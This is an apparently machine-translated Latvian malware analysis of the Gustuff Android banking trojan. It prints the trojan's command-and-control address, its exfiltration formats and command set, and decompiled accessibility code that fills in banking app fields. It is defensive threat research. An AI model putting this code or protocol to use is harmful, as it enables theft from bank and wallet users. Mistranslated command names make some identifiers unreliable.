
Tikai citu dienu Group-IB par aktivitātēm mobilajās ierīcēs Android— Trojas zirgs “Gustuff”. Tas darbojas tikai starptautiskajos tirgos, uzbrūkot 100 lielāko ārvalstu banku klientiem, 32 kriptovalūtu maku mobilo ierīču lietotājiem un lielākajām e-komercijas vietnēm. “Gustuff” izstrādātājs, krieviski runājošs kibernoziedznieks ar iesauku “Bestofers”, nesen slavēja savu Trojas zirgu kā “nopietnu produktu cilvēkiem ar zināšanām un pieredzi”.
Ļaunprātīga koda analīzes speciālists grupā IB Ivans Pisarevs savā pētījumā viņš detalizēti runā par to, kā Gustuff darbojas un kādi ir tā draudi.
Kuru Gustuff medī?
Gustuff pieder pie jaunas paaudzes ļaunprogrammatūras ar pilnībā automatizētām funkcijām. Pēc izstrādātāja teiktā, Trojas zirgs ir jauna un uzlabota AndyBot ļaunprogrammatūras versija, kas kopš 2017. gada novembra uzbrūk tālruņiem ar šo operētājsistēmu. Android un zog naudu, izmantojot pikšķerēšanas tīmekļa veidlapas, kas maskētas kā pazīstamu starptautisku banku un maksājumu sistēmu mobilās lietotnes. Bestoffer ziņoja, ka "Gustuff Bot" īres cena bija 800 USD mēnesī.
Gustuff parauga analīze parādīja, ka Trojas zirgs potenciāli mērķēts uz klientiem, kuri izmanto lielāko banku mobilās aplikācijas, piemēram, Bank of America, Bank of Scotland, JPMorgan, Wells Fargo, Capital One, TD Bank, PNC Bank, kā arī kriptomakus. Bitcoin Wallet, BitPay, Cryptopay, Coinbase utt.
Sākotnēji izveidots kā klasisks banku Trojas zirgs, Gustuff pašreizējā versija ir ievērojami paplašinājusi potenciālo uzbrukumu mērķu sarakstu. Turklāt Android— banku, finanšu tehnoloģiju uzņēmumu un kriptopakalpojumu lietojumprogrammas, Gustuff mērķauditorija ir tirgus lietotņu, tiešsaistes veikalu, maksājumu sistēmu un ziņojumapmaiņas lietotņu lietotāji. Konkrēti, PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut un citi.
Ieejas punkts: masveida infekcijas aprēķins
Gustuff raksturo “klasisks” iespiešanās vektors Android-viedtālruņi, izmantojot īsziņas ar saitēm uz APK failiem. Kad tie ir inficēti AndroidKad ierīce ir inficēta, Trojas zirgs, saņemot servera komandu, var tālāk izplatīt Gustuff, izmantojot inficētā tālruņa kontaktu datubāzi vai servera datubāzi. Gustuff funkcionalitāte ir paredzēta masveida inficēšanai un maksimālai uzņēmējdarbības kapitalizācijai tā operatoriem – tai ir unikāla "automātiskās aizpildīšanas" funkcija likumīgām mobilo banku lietotnēm un kriptovalūtu makiem, kas paātrina un palielina līdzekļu zādzības.
Trojas zirga pārbaude atklāja, ka tā automātiskās augšupielādes funkcija ir ieviesta, izmantojot piekļuves pakalpojumu (Accessibility Service), kas ir pakalpojums cilvēkiem ar invaliditāti. Gustuff nav pirmais Trojas zirgs, kam ir izdevies apiet aizsardzību pret mijiedarbību ar citu lietojumprogrammu logu elementiem, izmantojot šo pakalpojumu. AndroidTomēr pieejamības pakalpojuma izmantošana kopā ar automātisko augšupielādi joprojām ir diezgan reta parādība.
Kad Gustuff ir lejupielādēts upura tālrunī, tas, izmantojot pieejamības pakalpojumu, iegūst iespēju mijiedarboties ar citu lietotņu (banku, kriptovalūtu, tiešsaistes iepirkšanās, ziņojumapmaiņas u. c.) elementiem, veicot uzbrucēju vēlamās darbības. Piemēram, pēc servera komandas Trojas zirgs var noklikšķināt uz pogām un mainīt teksta lauku vērtības banku lietotnēs. Pieejamības pakalpojuma izmantošana ļauj Trojas zirgam apiet aizsardzības mehānismus, ko bankas izmanto, lai cīnītos pret vecākiem mobilajiem Trojas zirgiem, kā arī drošības politikas izmaiņas, ko Google ieviesis jaunākās OS versijās. AndroidPiemēram, Gustuff var atspējot Google Protect: pēc autora domām, šī funkcija darbojas 70% gadījumu.

Gustuff var arī parādīt viltotus PUSH paziņojumus ar likumīgu mobilo lietojumprogrammu ikonām. Lietotājs noklikšķina uz PUSH paziņojuma un redz no servera lejupielādētu pikšķerēšanas logu, kurā ievada pieprasītās bankas kartes vai kriptonauda datus. Citā Gustuff scenārijā tiek atvērta lietojumprogramma, kuras vārdā tika parādīts PUSH paziņojums. Šādā gadījumā ļaunprogrammatūra pēc komandas no servera, izmantojot pieejamības pakalpojumu, var aizpildīt bankas pieteikuma veidlapas laukus par krāpniecisku darījumu.
Gustuff funkcionalitāte ietver arī informācijas nosūtīšanu par inficētu ierīci uz serveri, iespēju lasīt/sūtīt SMS ziņas, USSD pieprasījumu sūtīšanu, SOCKS5 starpniekservera palaišanu, saiti, failu (tostarp dokumentu skenētu dokumentu, ekrānuzņēmumu, fotogrāfiju) nosūtīšanu uz serveri, atiestatiet ierīci uz rūpnīcas iestatījumiem.
Ļaunprātīgas programmatūras analīze
Pirms ļaunprātīgas OS lietojumprogrammas instalēšanas Android parāda lietotājam logu, kurā ir Gustuff pieprasīto tiesību saraksts:

Lietojumprogramma tiks instalēta tikai pēc lietotāja piekrišanas saņemšanas. Pēc lietojumprogrammas palaišanas Trojas zirgs parādīs lietotājam logu:

Pēc tam tā noņems savu ikonu.
Gustufu, pēc autora domām, iepako FTT iepakotājs. Pēc palaišanas lietojumprogramma periodiski sazinās ar CnC serveri, lai saņemtu komandas. Vairāki mūsu pārbaudītie faili izmantoja IP adresi kā vadības serveri 88.99.171[.]105 (turpmāk mēs to apzīmēsim kā <%CnC%>).
Pēc palaišanas programma sāk sūtīt ziņojumus uz serveri http://<%CnC%>/api/v1/get.php.
Paredzams, ka atbilde būs JSON šādā formātā:
{
"results" : "OK",
"command":{
"id": "<%id%>",
"command":"<%command%>",
"timestamp":"<%Server Timestamp%>",
"params":{
<%Command parameters as JSON%>
},
},
}
Katru reizi, kad lietojumprogrammai tiek piekļūts, tā nosūta informāciju par inficēto ierīci. Ziņojuma formāts ir parādīts zemāk. Ir vērts atzīmēt, ka lauki Pilns, papildu, progr и atļauja – pēc izvēles un tiks nosūtīts tikai CnC pieprasījuma komandas gadījumā.
{
"info":
{
"info":
{
"cell":<%Sim operator name%>,
"country":<%Country ISO%>,
"imei":<%IMEI%>,
"number":<%Phone number%>,
"line1Number":<%Phone number%>,
"advertisementId":<%ID%>
},
"state":
{
"admin":<%Has admin rights%>,
"source":<%String%>,
"needPermissions":<%Application needs permissions%>,
"accesByName":<%Boolean%>,
"accesByService":<%Boolean%>,
"safetyNet":<%String%>,
"defaultSmsApp":<%Default Sms Application%>,
"isDefaultSmsApp":<%Current application is Default Sms Application%>,
"dateTime":<%Current date time%>,
"batteryLevel":<%Battery level%>
},
"socks":
{
"id":<%Proxy module ID%>,
"enabled":<%Is enabled%>,
"active":<%Is active%>
},
"version":
{
"versionName":<%Package Version Name%>,
"versionCode":<%Package Version Code%>,
"lastUpdateTime":<%Package Last Update Time%>,
"tag":<%Tag, default value: "TAG"%>,
"targetSdkVersion":<%Target Sdk Version%>,
"buildConfigTimestamp":1541309066721
},
},
"full":
{
"model":<%Device Model%>,
"localeCountry":<%Country%>,
"localeLang":<%Locale language%>,
"accounts":<%JSON array, contains from "name" and "type" of accounts%>,
"lockType":<%Type of lockscreen password%>
},
"extra":
{
"serial":<%Build serial number%>,
"board":<%Build Board%>,
"brand":<%Build Brand%>,
"user":<%Build User%>,
"device":<%Build Device%>,
"display":<%Build Display%>,
"id":<%Build ID%>,
"manufacturer":<%Build manufacturer%>,
"model":<%Build model%>,
"product":<%Build product%>,
"tags":<%Build tags%>,
"type":<%Build type%>,
"imei":<%imei%>,
"imsi":<%imsi%>,
"line1number":<%phonenumber%>,
"iccid":<%Sim serial number%>,
"mcc":<%Mobile country code of operator%>,
"mnc":<%Mobile network codeof operator%>,
"cellid":<%GSM-data%>,
"lac":<%GSM-data%>,
"androidid":<%Android Id%>,
"ssid":<%Wi-Fi SSID%>
},
"apps":{<%List of installed applications%>},
"permission":<%List of granted permissions%>
}
Konfigurācijas datu glabāšana
Gustuff saglabā operatīvi svarīgu informāciju preferenču failā. Faila nosaukums, kā arī tajā esošo parametru nosaukumi ir iegūti, aprēķinot MD5 summu no virknes 15413090667214.6.1<%name%>Kur <%name%> — sākotnējā nosaukuma vērtība. Nosaukuma ģenerēšanas funkcijas Python interpretācija:
nameGenerator(input):
output = md5("15413090667214.6.1" + input)
Turpmāk mēs to apzīmēsim kā nosaukumsĢenerators (ievade).
Tātad pirmā faila nosaukums ir: nameGenerator ("API_SERVER_LIST"), tajā ir vērtības ar šādiem nosaukumiem:
| Mainīgais nosaukums | Vērtība |
|---|---|
| nameGenerator ("API_SERVER_LIST") | Satur CnC adrešu sarakstu masīva veidā. |
| nameGenerator("API_SERVER_URL") | Satur CnC adresi. |
| nameGenerator ("SMS_UPLOAD") | Karogs ir iestatīts pēc noklusējuma. Ja karodziņš ir iestatīts, sūta SMS uz CnC. |
| nameGenerator("SMS_ROOT_NUMBER") | Tālruņa numurs, uz kuru tiks nosūtītas inficētās ierīces saņemtās SMS ziņas. Noklusējums ir nulle. |
| nameGenerator("SMS_ROOT_NUMBER_RESEND") | Pēc noklusējuma karodziņš ir notīrīts. Ja tā ir instalēta, tad, kad inficētā ierīce saņem SMS, tā tiks nosūtīta uz saknes numuru. |
| nameGenerator ("DEFAULT_APP_SMS") | Pēc noklusējuma karodziņš ir notīrīts. Ja šis karodziņš ir iestatīts, lietojumprogramma apstrādās ienākošās SMS ziņas. |
| nameGenerator ("DEFAULT_ADMIN") | Pēc noklusējuma karodziņš ir notīrīts. Ja karodziņš ir iestatīts, lietojumprogrammai ir administratora tiesības. |
| nameGenerator("DEFAULT_ACCESSIBILITY") | Pēc noklusējuma karodziņš ir notīrīts. Ja karodziņš ir iestatīts, darbojas pakalpojums, kas izmanto pieejamības pakalpojumu. |
| nameGenerator ("APPS_CONFIG") | JSON objekts, kurā ir saraksts ar darbībām, kas jāveic, kad tiek aktivizēts ar konkrētu lietojumprogrammu saistīts pieejamības notikums. |
| nameGenerator ("APPS_INSTALLED") | Saglabā ierīcē instalēto programmu sarakstu. |
| nameGenerator ("IS_FIST_RUN") | Karogs tiek atiestatīts pirmajā startā. |
| nameGenerator ("UNIKĀLS_ID") | Satur unikālu identifikatoru. Tiek ģenerēts, kad robots tiek palaists pirmo reizi. |
Modulis komandu apstrādei no servera
Lietojumprogramma saglabā CnC serveru adreses masīva veidā, ko kodē Bāze85 līnijas. CNC saraksts — serveriem var mainīt pēc atbilstošās komandas saņemšanas, un tādā gadījumā adreses tiks saglabātas preferenču failā.
Atbildot uz pieprasījumu, serveris nosūta lietojumprogrammai komandu. Ir vērts atzīmēt, ka komandas un parametri tiek parādīti JSON formātā. Lietojumprogramma var apstrādāt šādas komandas:
| Komanda | Apraksts |
|---|---|
| uz priekšuSākt | Sāciet sūtīt inficētās ierīces saņemtās SMS ziņas uz CnC serveri. |
| uz priekšuStop | Pārtrauciet inficētās ierīces saņemto SMS sūtīšanu uz CnC serveri. |
| ussdRun | Izpildiet USSD pieprasījumu. Numurs, uz kuru jums ir nepieciešams USSD pieprasījums, atrodas JSON laukā “numurs”. |
| nosūtīt SMS | Nosūtiet vienu SMS īsziņu (ja nepieciešams, ziņa tiek “sadalīta” daļās). Kā parametrs komanda ņem JSON objektu, kurā ir lauki “to” — galamērķa numurs un “body” — ziņojuma pamatteksts. |
| sendSmsAb | Sūtiet SMS (ja nepieciešams, ziņa tiek “sadalīta” daļās) visiem inficētās ierīces kontaktu sarakstā. Intervāls starp ziņojumu nosūtīšanu ir 10 sekundes. Ziņojuma pamatteksts atrodas JSON laukā "body" |
| sūtītSmsMass | Sūtīt SMS (ja nepieciešams, ziņa tiek “sadalīta” daļās) komandas parametros norādītajiem kontaktiem. Intervāls starp ziņojumu nosūtīšanu ir 10 sekundes. Kā parametrs komanda ņem JSON masīvu (lauks “sms”), kura elementi satur laukus “to” - galamērķa numuru un “body” - ziņojuma pamattekstu. |
| ChangeServer | Šī komanda var izmantot vērtību ar atslēgu “url” kā parametru — tad robots mainīs nameGenerator (“SERVER_URL”) vai masīva vērtību — tad robots ierakstīs masīvu nameGenerator (“API_SERVER_LIST”). Tādējādi lietojumprogramma maina CnC serveru adreses. |
| adminNumber | Komanda ir paredzēta darbam ar saknes numuru. Komanda pieņem JSON objektu ar šādiem parametriem: "number" — mainiet nameGenerator("ROOT_NUMBER") uz saņemto vērtību, "send" - mainiet nameGenerator("SMS_ROOT_NUMBER_RESEND"), "sendId" - nosūtīt nameGenerator("ROOT_NUMBER" ) unikālais ID. |
| updateInfo | Nosūtiet serverim informāciju par inficēto ierīci. |
| izdzēst datus | Komanda ir paredzēta lietotāja datu dzēšanai. Atkarībā no tā, kāda nosaukuma lietojumprogramma tika palaista, dati tiek pilnībā izdzēsti, pārstartējot ierīci (primārais lietotājs), vai arī tiek dzēsti tikai lietotāja dati (sekundārais lietotājs). |
| zeķesSākt | Palaidiet starpniekservera moduli. Moduļa darbība ir aprakstīta atsevišķā sadaļā. |
| zeķesStop | Apturiet starpniekservera moduli. |
| atvērt saiti | Sekojiet saitei. Saite atrodas JSON parametrā zem atslēgas “url”. Lai atvērtu saiti, tiek izmantots “android.intent.action.VIEW”. |
| augšupielādēt visas SMS | Nosūtīt visas ierīces saņemtās SMS ziņas uz serveri. |
| augšupielādēt visus fotoattēlus | Sūtiet attēlus no inficētas ierīces uz URL. URL nāk kā parametrs. |
| augšupielādes fails | Nosūtiet failu uz URL no inficētas ierīces. URL nāk kā parametrs. |
| augšupielādētPhoneNumbers | Nosūtiet tālruņa numurus no sava kontaktu saraksta uz serveri. Ja kā parametrs tiek saņemta JSON objekta vērtība ar atslēgu “ab”, lietojumprogramma saņem kontaktu sarakstu no tālruņu kataloga. Ja kā parametrs tiek saņemts JSON objekts ar atslēgu “sms”, lietojumprogramma nolasa kontaktu sarakstu no īsziņu sūtītājiem. |
| mainītArhīvs | Lietojumprogramma lejupielādē failu no adreses, kas norādīta kā parametrs, izmantojot taustiņu “url”. Lejupielādētais fails tiek saglabāts ar nosaukumu “archive.zip”. Pēc tam lietojumprogramma izsaiņos failu, pēc izvēles izmantojot arhīva paroli “b5jXh37gxgHBrZhQ4j3D”. Izsaiņotie faili tiek saglabāti [ārējā atmiņa]/hgps direktorijā. Šajā direktorijā lietojumprogramma glabā tīmekļa viltojumus (aprakstīts tālāk). |
| darbības | Komanda ir paredzēta darbam ar Action Service, kas ir aprakstīta atsevišķā sadaļā. |
| pārbaude | Neko nedarot. |
| lejuplādēt | Komanda ir paredzēta, lai lejupielādētu failu no attālā servera un saglabātu to direktorijā “Lejupielādes”. URL un faila nosaukums ir kā parametrs, attiecīgi lauki JSON parametra objektā: “url” un “fileName”. |
| noņemt | Noņem failu no direktorija "Lejupielādes". Faila nosaukums tiek ievadīts JSON parametrā ar atslēgu “fileName”. Standarta faila nosaukums ir “tmp.apk”. |
| paziņojums | Rādīt paziņojumu ar pārvaldības servera definētajiem apraksta un virsraksta tekstiem. |
Komandu formāts paziņojums:
{
"results" : "OK",
"command":{
"id": <%id%>,
"command":"notification",
"timestamp":<%Server Timestamp%>,
"params":{
"openApp":<%Open original app or not%>,
"array":[
{"title":<%Title text%>,
"desc":<%Description text%>,
"app":<%Application name%>}
]
},
},
}
Pārbaudāmā faila ģenerētais paziņojums izskatās identisks laukā norādītās lietojumprogrammas ģenerētajiem paziņojumiem app. Ja lauka vērtība openApp — Tiesa, atverot paziņojumu, tiek palaista laukā norādītā lietojumprogramma app. Ja lauka vērtība openApp — Nepatiesi, tad:
- Tiek atvērts pikšķerēšanas logs, kura saturs tiek lejupielādēts no direktorija <%ārējā atmiņa%>/hgps/<%filename%>
- Tiek atvērts pikšķerēšanas logs, kura saturs tiek lejupielādēts no servera <%url%>?id=<%Bot id%>&app=<%Application name%>
- Tiek atvērts pikšķerēšanas logs, kas ir slēpts kā Google Play karte un kurā ir iespēja ievadīt kartes informāciju.
Lietojumprogramma nosūta jebkuras komandas rezultātu uz <%CnC%>set_state.php kā JSON objektu šādā formātā:
{
"command":
{
"command":<%command%>,
"id":<%command_id%>,
"state":<%command_state%>
}
"id":<%bot_id%>
}
ActionsService
Lietojumprogrammas procesos iekļauto komandu saraksts rīcība. Kad komanda tiek saņemta, komandu apstrādes modulis piekļūst šim pakalpojumam, lai izpildītu paplašināto komandu. Pakalpojums pieņem JSON objektu kā parametru. Pakalpojums var izpildīt šādas komandas:
1. PARAMS_ACTION — saņemot šādu komandu, pakalpojums vispirms no JSON parametra saņem tipa atslēgas vērtību, kas var būt šāda:
- pakalpojumu informācija – apakškomanda iegūst vērtību pēc atslēgas no JSON parametra iekļautNotImportant. Ja karodziņš ir True, lietojumprogramma iestata karogu FLAG_ISOLATED_PROCESS pakalpojumam, izmantojot pieejamības pakalpojumu. Tādā veidā pakalpojums tiks palaists atsevišķā procesā.
- sakne — saņemt un nosūtīt serverim informāciju par logu, kas pašlaik ir fokusā. Lietojumprogramma iegūst informāciju, izmantojot AccessibilityNodeInfo klasi.
- admin — pieprasīt administratora tiesības.
- kavēšanās — apturēt ActionsService darbību uz milisekundēm, kas norādīts atslēgas “data” parametrā.
- logi — nosūtīt lietotājam redzamo logu sarakstu.
- uzstādīt — instalējiet lietojumprogrammu inficētajā ierīcē. Arhīva pakotnes nosaukums ir atslēgā “fileName”. Pats arhīvs atrodas Lejupielādes direktorijā.
- pasaules – apakškomanda ir paredzēta, lai pārvietotos no pašreizējā loga:
- izvēlnē Ātrie iestatījumi
- atpakaļ
- mājas
- uz paziņojumiem
- uz nesen atvērto lietojumprogrammu logu
- sākt - palaidiet lietojumprogrammu. Lietojumprogrammas nosaukums nāk kā parametrs pēc atslēgas dati.
- skaņas — mainīt skaņas režīmu uz klusumu.
- atslēgt — ieslēdz ekrāna un tastatūras fona apgaismojumu līdz pilnam spilgtumam. Lietojumprogramma veic šo darbību, izmantojot WakeLock, kā tagu norādot virkni [Application label]:INFO
- atļaujaPārklājums — funkcija nav ieviesta (atbilde uz komandas izpildi ir {"message":"Not support"} vai {"message":"low sdk"})
- žests — funkcija nav ieviesta (atbilde uz komandas izpildi ir {"message":"Not support"}vai {"message":"Low API"})
- Atļaujas — šī komanda ir nepieciešama, lai pieprasītu lietojumprogrammas atļaujas. Tomēr vaicājuma funkcija nav ieviesta, tāpēc komandai nav nozīmes. Pieprasīto tiesību saraksts ir JSON masīvs ar atslēgu “atļaujas”. Standarta saraksts:
- android.permission.READ_PHONE_STATE
- android.permission.READ_CONTACTS
- android.permission.CALL_PHONE
- android.permission.RECEIVE_SMS
- android.permission.SEND_SMS
- android.permission.READ_SMS
- android.permission.READ_EXTERNAL_STORAGE
- android.permission.WRITE_EXTERNAL_STORAGE
- atvērt — parādīt pikšķerēšanas logu. Atkarībā no parametra, kas nāk no servera, lietojumprogramma var parādīt šādus pikšķerēšanas logus:
- Rādīt pikšķerēšanas logu, kura saturs ir ierakstīts failā direktorijā <%ārējais direktorijs%>/hgps/<%param_filename%>. Lietotāja mijiedarbības ar logu rezultāts tiks nosūtīts uz <%CnC%>/records.php
- Rādīt pikšķerēšanas logu, kura saturs ir iepriekš ielādēts no adreses <%url_param%>?id=<%bot_id%>&app=<%packagename%>. Lietotāja mijiedarbības ar logu rezultāts tiks nosūtīts uz <%CnC%>/records.php
- Rādīt pikšķerēšanas logu, kas maskēts kā Google Play karte.
- interaktīvs — komanda ir paredzēta mijiedarbībai ar citu lietojumprogrammu loga elementiem, izmantojot AcessibilityService. Programmā ir ieviests īpašs pakalpojums mijiedarbībai. Izmeklējamā lietojumprogramma var mijiedarboties ar logiem:
- Pašlaik aktīvs. Šajā gadījumā parametrs satur tā objekta ID vai tekstu (nosaukumu), ar kuru jums ir jāsadarbojas.
- Redzams lietotājam komandas izpildes laikā. Lietojumprogramma atlasa logus pēc id.
Saņemot priekšmetus AccessibilityNodeInfo Interesējošajiem loga elementiem lietojumprogramma atkarībā no parametriem var veikt šādas darbības:
- fokuss — iestatiet fokusu uz objektu.
- klikšķis — noklikšķiniet uz objekta.
- actionId — veiciet darbību pēc ID.
- setText — mainiet objekta tekstu. Teksta maiņa ir iespējama divos veidos: veiciet darbību ACTION_SET_TEXT (ja versija Android inficētā ierīce ir jaunāka par vai vienāda ar KONFERENCE), vai ievietojot virkni starpliktuvē un ielīmējot to objektā (vecākām versijām). Šo komandu var izmantot, lai mainītu datus bankas lietojumprogrammā.
2. PARAMS_ACTIONS - tāds pats kā PARAMS_ACTION, tiek parādīts tikai JSON komandu masīvs.
Šķiet, ka daudzus interesēs, kā izskatās funkcija mijiedarboties ar citas lietojumprogrammas loga elementiem. Lūk, kā šī funkcionalitāte tiek ieviesta programmā Gustuff:
boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
int count = action.optInt("repeat", 1);
Iterator aiListIterator = ((Iterable)aiList).iterator();
int count = 0;
while(aiListIterator.hasNext()) {
Object ani = aiListIterator.next();
if(1 <= count) {
int index;
for(index = 1; true; ++index) {
if(action.has("focus")) {
if(((AccessibilityNodeInfo)ani).performAction(1)) {
++count;
}
}
else if(action.has("click")) {
if(((AccessibilityNodeInfo)ani).performAction(16)) {
++count;
}
}
else if(action.has("actionId")) {
if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
++count;
}
}
else if(action.has("setText")) {
customHeader ch = CustomAccessibilityService.a;
Context context = this.getApplicationContext();
String text = action.optString("setText");
if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
++count;
}
}
if(index == count) {
break;
}
}
}
((AccessibilityNodeInfo)ani).recycle();
}
res.addPropertyNumber("res", Integer.valueOf(count));
}
Teksta aizstāšanas funkcija:
boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
boolean result;
if(Build$VERSION.SDK_INT >= 21) {
Bundle b = new Bundle();
b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
result = ani.performAction(0x200000, b); // ACTION_SET_TEXT
}
else {
Object clipboard = context.getSystemService("clipboard");
if(clipboard != null) {
((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
result = ani.performAction(0x8000); // ACTION_PASTE
}
else {
result = false;
}
}
return result;
}
Tādējādi ar pareizu vadības servera konfigurāciju Gustuff var aizpildīt teksta laukus bankas lietojumprogrammā un noklikšķināt uz pogām, kas nepieciešamas, lai pabeigtu darījumu. Trojas zirgam pat nav jāpiesakās aplikācijā — pietiek ar komandas nosūtīšanu, lai parādītu PUSH paziņojumu un pēc tam atvērtu iepriekš instalēto bankas lietojumprogrammu. Lietotājs autentificēsies, pēc tam Gustuff varēs uzpildīt automašīnu.
SMS ziņu apstrādes modulis
Lietojumprogramma inficētajai ierīcei instalē notikumu apdarinātāju, lai pieņemtu SMS ziņas. Izpētāmā lietojumprogramma var saņemt komandas no operatora, kas nonāk SMS ziņojuma pamattekstā. Komandas ir šādā formātā:
7!5=<%Base64 kodēta komanda%>
Lietojumprogramma meklē virkni visās ienākošajās SMS ziņās 7!5=, kad tiek noteikta virkne, tā atšifrē virkni no Base64 4. nobīdē un izpilda komandu. Komandas ir līdzīgas CnC komandām. Izpildes rezultāts tiek nosūtīts uz to pašu numuru, no kura tika saņemta komanda. Atbildes formāts:
7*5=<%Base64 komandas “result_code command”%> kodējums
Pēc izvēles lietojumprogramma var nosūtīt visus saņemtos ziņojumus uz saknes numuru. Lai to izdarītu, preferenču failā ir jānorāda saknes numurs un jāiestata ziņojuma pāradresācijas karogs. SMS tiek nosūtīta uz uzbrucēja numuru šādā formātā:
<%No numura%> - <%Laiks, formāts: dd/MM/gggg HH:mm:ss%> <%SMS body%>
Arī pēc izvēles lietojumprogramma var nosūtīt ziņojumus uz CnC. SMS ziņa tiek nosūtīta uz serveri JSON formātā:
{
"id":<%BotID%>,
"sms":
{
"text":<%SMS body%>,
"number":<%From number%>,
"date":<%Timestamp%>
}
}
Ja karogs ir uzstādīts nameGenerator ("DEFAULT_APP_SMS") – lietojumprogramma pārtrauc īsziņas apstrādi un notīra ienākošo ziņojumu sarakstu.
Starpniekservera modulis
Pētāmā lietojumprogramma satur Backconnect Proxy moduli (turpmāk tekstā Proxy modulis), kuram ir atsevišķa klase, kas ietver statiskus laukus ar konfigurāciju. Konfigurācijas dati tiek saglabāti paraugā skaidrā veidā:

Visas starpniekservera moduļa darbības tiek reģistrētas failos. Lai to izdarītu, lietojumprogramma ārējā krātuvē izveido direktoriju ar nosaukumu “logs” (konfigurācijas klases lauks ProxyConfigClass.logsDir), kurā tiek glabāti žurnālfaili. Reģistrācija notiek failos ar nosaukumiem:
- galvenais.txt – šajā failā ir pieteicies klases darbs ar nosaukumu CommandServer. Tālāk tekstā virknes str ierakstīšana šajā failā tiks apzīmēta kā mainLog(str).
- sesija-<%id%>.txt — šis fails saglabā žurnāla datus, kas saistīti ar konkrētu starpniekservera sesiju. Tālāk tekstā virknes str reģistrēšana šajā failā tiks apzīmēta kā sessionLog (str).
- serveris.txt – šis fails tiek izmantots, lai reģistrētu visus iepriekš aprakstītajos failos ierakstītos datus.
Žurnāla datu formāts:
<%Date%> [Pavediens[<%pavediena id%>], id[]]: žurnāla virkne
Izņēmumi, kas rodas starpniekservera moduļa darbības laikā, arī tiek reģistrēti failā. Lai to izdarītu, lietojumprogramma ģenerē JSON objektu šādā formātā:
{
"uncaughtException":<%short description of throwable%>
"thread":<%thread%>
"message":<%detail message of throwable%>
"trace": //Stack trace info
[
{
"ClassName":
"FileName":
"LineNumber":
"MethodName":
},
{
"ClassName":
"FileName":
"LineNumber":
"MethodName":
}
]
}
Pēc tam tas pārvērš to par virknes attēlojumu un reģistrē to.
Starpniekservera modulis tiek palaists pēc atbilstošās komandas saņemšanas. Kad tiek saņemta komanda palaist starpniekservera moduli, lietojumprogramma sāk izsauktu pakalpojumu GalvenaisService, kas atbild par Proxy moduļa darbības pārvaldību – tā palaišanu un apturēšanu.
Pakalpojuma uzsākšanas posmi:
1. Ieslēdz taimeri, kas darbojas reizi minūtē, un pārbauda starpniekservera moduļa darbību. Ja modulis nav aktīvs, tas to palaiž.
Arī tad, kad notikums tiek aktivizēts android.net.conn.CONNECTIVITY_CHANGE Tiek palaists starpniekservera modulis.
2. Lietojumprogramma izveido modināšanas bloķēšanu ar parametru PARTIAL_WAKE_LOCK un sagūsta viņu. Tas neļauj ierīces centrālajam procesoram pāriet miega režīmā.
3. Palaiž starpniekservera moduļa komandu apstrādes klasi, vispirms reģistrējot rindu mainLog("sākt serveri") и
Serveris::start() resursdators[<%proxy_cnc%>], commandPort[<%command_port%>], proxyPort[<%proxy_port%>]
kur proxy_cnc, command_port un proxy_port – parametri, kas iegūti no starpniekservera konfigurācijas.
Tiek izsaukta komandu apstrādes klase CommandConnection. Tūlīt pēc palaišanas veiciet šādas darbības:
4. Savienojas ar ProxyConfigClass.host: ProxyConfigClass.commandPort un nosūta uz turieni datus par inficēto ierīci JSON formātā:
{
"id":<%id%>,
"imei":<%imei%>,
"imsi":<%imsi%>,
"model":<%model%>,
"manufacturer":<%manufacturer%>,
"androidVersion":<%androidVersion%>,
"country":<%country%>,
"partnerId":<%partnerId%>,
"packageName":<%packageName%>,
"networkType":<%networkType%>,
"hasGsmSupport":<%hasGsmSupport%>,
"simReady":<%simReady%>,
"simCountry":<%simCountry%>,
"networkOperator":<%networkOperator%>,
"simOperator":<%simOperator%>,
"version":<%version%>
}
Kur:
- id — identifikators, mēģina iegūt vērtību ar lauku “id” no koplietoto preferenču faila ar nosaukumu “x”. Ja šo vērtību nevar iegūt, tas ģenerē jaunu. Tādējādi starpniekservera modulim ir savs identifikators, kas tiek ģenerēts līdzīgi kā robota ID.
- imei — ierīces IMEI. Ja vērtības iegūšanas procesā radās kļūda, šī lauka vietā tiks rakstīts kļūdas īsziņa.
- imsi — ierīces starptautiskā mobilā abonenta identitāte. Ja vērtības iegūšanas procesā radās kļūda, šī lauka vietā tiks rakstīts kļūdas īsziņa.
- modelis — galalietotājam redzams galaprodukta nosaukums.
- ražotājs — produkta/aparatūras ražotājs (Build.MANUFACTURER).
- androidVersion — virkne formātā "<%release_version%> (<%os_version%>),<%sdk_version%>"
- valsts — ierīces pašreizējā atrašanās vieta.
- partnerId ir tukša virkne.
- packName — pakotnes nosaukums.
- networkType — pašreizējā tīkla savienojuma veids (piemērs: “WIFI”, “MOBILE”). Kļūdas gadījumā atgriež nulli.
- hasGsmSupport — true — ja tālrunis atbalsta GSM, pretējā gadījumā false.
- simReady — SIM kartes stāvoklis.
- simCountry — ISO valsts kods (pamatojoties uz SIM kartes nodrošinātāju).
- networkOperator — operatora nosaukums. Ja vērtības iegūšanas procesā radās kļūda, šī lauka vietā tiks rakstīts kļūdas īsziņa.
- simOperator — pakalpojumu sniedzēja nosaukums (SPN). Ja vērtības iegūšanas procesā radās kļūda, šī lauka vietā tiks rakstīts kļūdas īsziņa.
- versija - šis lauks tiek saglabāts konfigurācijas klasē; pārbaudītajām robotprogrammatūras versijām tas bija vienāds ar “1.6”.
5. Pārslēdzas uz komandu gaidīšanas režīmu no servera. Komandas no servera ir šādā formātā:
- 0 nobīde – komanda
- 1 nobīde – sessionID
- 2 nobīde – garums
- 4 nobīde - dati
Kad tiek saņemta komanda, lietojumprogramma reģistrē:
mainLog("Galvene { sessionId<%id%>], tips[<%command%>], garums[<%length%>] }")
Ir iespējamas šādas komandas no servera:
| Vārds | Komanda | Datums | Apraksts |
|---|---|---|---|
| savienojuma ID | 0 | Savienojuma ID | Izveidojiet jaunu savienojumu |
| SLEEP | 3 | Laiks | Apturiet starpniekservera moduli |
| PINGPONGS | 4 | Sākot no | Nosūtiet PONG ziņojumu |
PONG ziņojums sastāv no 4 baitiem un izskatās šādi: 0x04000000.
